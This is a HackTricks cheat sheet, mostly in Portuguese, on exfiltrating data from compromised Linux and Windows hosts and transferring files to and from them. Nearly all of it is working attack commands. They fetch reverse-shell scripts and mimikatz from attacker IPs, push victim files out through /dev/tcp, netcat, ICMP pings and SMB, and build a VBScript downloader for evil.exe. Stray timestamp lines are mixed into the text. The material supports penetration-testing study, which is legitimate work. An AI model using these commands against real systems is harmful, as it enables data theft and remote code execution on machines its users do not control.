hacktricks/generic-methodologies-and-resources/exfiltration.md

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# Exfiltração
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<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
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* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
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</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente de graça**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
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***
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## Domínios comumente permitidos para exfiltrar informações
Verifique [https://lots-project.com/](https://lots-project.com/) para encontrar domínios comumente permitidos que podem ser abusados
## Copiar e Colar Base64
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**Linux**
```bash
base64 -w0 <file> #Encode file
base64 -d file #Decode file
```
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**Windows**
```
certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll
```
## HTTP
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**Linux**
```bash
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD
```
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**Windows**
```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf
#PS
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
#OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
```
### Upload de arquivos
* [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
* [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
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* Módulo Python [uploadserver](https://pypi.org/project/uploadserver/):
```bash
# Listen to files
python3 -m pip install --user uploadserver
python3 -m uploadserver
# With basic auth:
# python3 -m uploadserver --basic-auth hello:world
# Send a file
curl -X POST http://HOST/upload -H -F 'files=@file.txt'
# With basic auth:
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world
```
### **Servidor HTTPS**
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```python
# from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
# generate server.xml with the following command:
# openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# run as follows:
# python simple-https-server.py
# then in your browser, visit:
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# https://localhost:443
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### PYTHON 2
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import BaseHTTPServer, SimpleHTTPServer
import ssl
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httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
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httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()
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###
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### PYTHON3
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from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True)
httpd.serve_forever()
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###
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### USING FLASK
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from flask import Flask, redirect, request
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
print(request.get_json())
return "OK"
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
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###
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```
## FTP
### Servidor FTP (python)
```bash
pip3 install pyftpdlib
python3 -m pyftpdlib -p 21
```
### Servidor FTP (NodeJS)
```
sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp
```
### Servidor FTP (pure-ftp)
```bash
apt-get update && apt-get install pure-ftp
```
```bash
#Run the following script to configure the FTP server
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pwd useradd fusr -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart
```
### **Cliente** Windows
```bash
#Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
echo USER anonymous >> ftp.txt
echo anonymous >> ftp.txt
echo bin >> ftp.txt
echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt
ftp -n -v -s:ftp.txt
```
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
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Encontre vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
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***
## SMB
Kali como servidor
```bash
kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`
```
Ou crie um compartilhamento smb **usando samba**:
```bash
apt-get install samba
mkdir /tmp/smb
chmod 777 /tmp/smb
#Add to the end of /etc/samba/smb.conf this:
[public]
comment = Samba on Ubuntu
path = /tmp/smb
read only = no
browsable = yes
guest ok = Yes
#Start samba
service smbd restart
```
### Exfiltração do Windows
Existem várias maneiras de exfiltrar dados de um sistema Windows comprometido. Alguns métodos comuns incluem:
1. **Utilização de Protocolos de Rede**: Os invasores podem usar protocolos de rede como HTTP, HTTPS, DNS, ou até mesmo ICMP para enviar dados para fora da rede comprometida.
2. **Uso de Serviços Legítimos**: Os invasores podem abusar de serviços legítimos do Windows, como PowerShell, PsExec, ou até mesmo o Windows Management Instrumentation (WMI) para exfiltrar dados.
3. **Armazenamento em Arquivos**: Os invasores podem armazenar dados em arquivos comprimidos ou criptografados e transferi-los para fora do sistema comprometido.
4. **Técnicas de Esteganografia**: A esteganografia pode ser usada para ocultar dados exfiltrados em arquivos de imagem, áudio ou vídeo.
5. **Túneis de Comunicação**: Os invasores podem criar túneis de comunicação para enviar dados exfiltrados por meio de portas não padrão ou protocolos não convencionais.
É importante estar ciente dessas técnicas de exfiltração para proteger efetivamente os sistemas Windows contra atividades maliciosas.
```bash
CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
WindPS-2> cd new_disk:
```
## SCP
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O atacante precisa ter o SSHd em execução.
```bash
scp <username>@<Attacker_IP>:<directory>/<filename>
```
## SSHFS
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Se o alvo tiver SSH, o atacante pode montar um diretório do alvo para o atacante.
```bash
sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/
```
## NC
### Exfiltration
#### Description
Netcat (nc) is a versatile networking tool that can be used for exfiltration. It can create a connection between two systems, allowing data to be transferred between them. Netcat can be used to exfiltrate data over various protocols such as TCP or UDP.
#### Usage
To exfiltrate data using Netcat, you can set up a listener on the receiving end and a client on the sending end. Here is an example of how to exfiltrate a file using Netcat:
On the receiving end:
```bash
nc -lvp <PORT> > received_file
```
On the sending end:
```bash
nc <RECEIVING_IP> <PORT> < file_to_send
```
Replace `<PORT>` with the desired port number, `<RECEIVING_IP>` with the IP address of the receiving system, and `file_to_send` with the name of the file you want to exfiltrate.
#### Detection
Detecting exfiltration via Netcat can be challenging as it can blend in with legitimate network traffic. Monitoring network traffic for suspicious connections or unusual data transfers can help in detecting unauthorized exfiltration activities. Conducting regular network traffic analysis and monitoring for anomalies can aid in the early detection of data exfiltration using tools like Netcat.
```bash
nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file
```
## /dev/tcp
### Baixar arquivo da vítima
```bash
nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
```
### Enviar arquivo para a vítima
```bash
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt
```
Agradecimentos a **@BinaryShadow\_**
## **ICMP**
```bash
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# To exfiltrate the content of a file via pings you can do:
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
#This will 4bytes per ping packet (you could probably increase this until 16)
```
```python
from scapy.all import *
#This is ippsec receiver created in the HTB machine Mischief
def process_packet(pkt):
if pkt.haslayer(ICMP):
if pkt[ICMP].type == 0:
data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
print(f"{data.decode('utf-8')}", flush=True, end="")
sniff(iface="tun0", prn=process_packet)
```
## **SMTP**
Se você pode enviar dados para um servidor SMTP, você pode criar um SMTP para receber os dados com python:
```bash
sudo python -m smtpd -n -c DebuggingServer :25
```
## TFTP
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Por padrão no XP e 2003 (em outros sistemas, precisa ser adicionado explicitamente durante a instalação)
No Kali, **inicie o servidor TFTP**:
```bash
#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp
```
**Servidor TFTP em python:**
```bash
pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
```
No **alvo**, conecte-se ao servidor Kali:
```bash
tftp -i <KALI-IP> get nc.exe
```
## PHP
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Baixe um arquivo com um PHP oneliner:
```bash
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
```
## VBScript
```bash
Attacker> python -m SimpleHTTPServer 80
```
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**Vítima**
```bash
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
```
```bash
cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
```
## Debug.exe
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O programa `debug.exe` não só permite a inspeção de binários, mas também tem a **capacidade de reconstruí-los a partir de hex**. Isso significa que, fornecendo um hex de um binário, o `debug.exe` pode gerar o arquivo binário. No entanto, é importante observar que o debug.exe tem uma **limitação de montagem de arquivos de até 64 kb de tamanho**.
```bash
# Reduce the size
upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt
```
Em seguida, copie e cole o texto no windows-shell e um arquivo chamado nc.exe será criado.
* [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
## DNS
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* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)
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<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
2022-06-28 10:36:33 +00:00
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
2022-04-28 16:01:33 +00:00
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>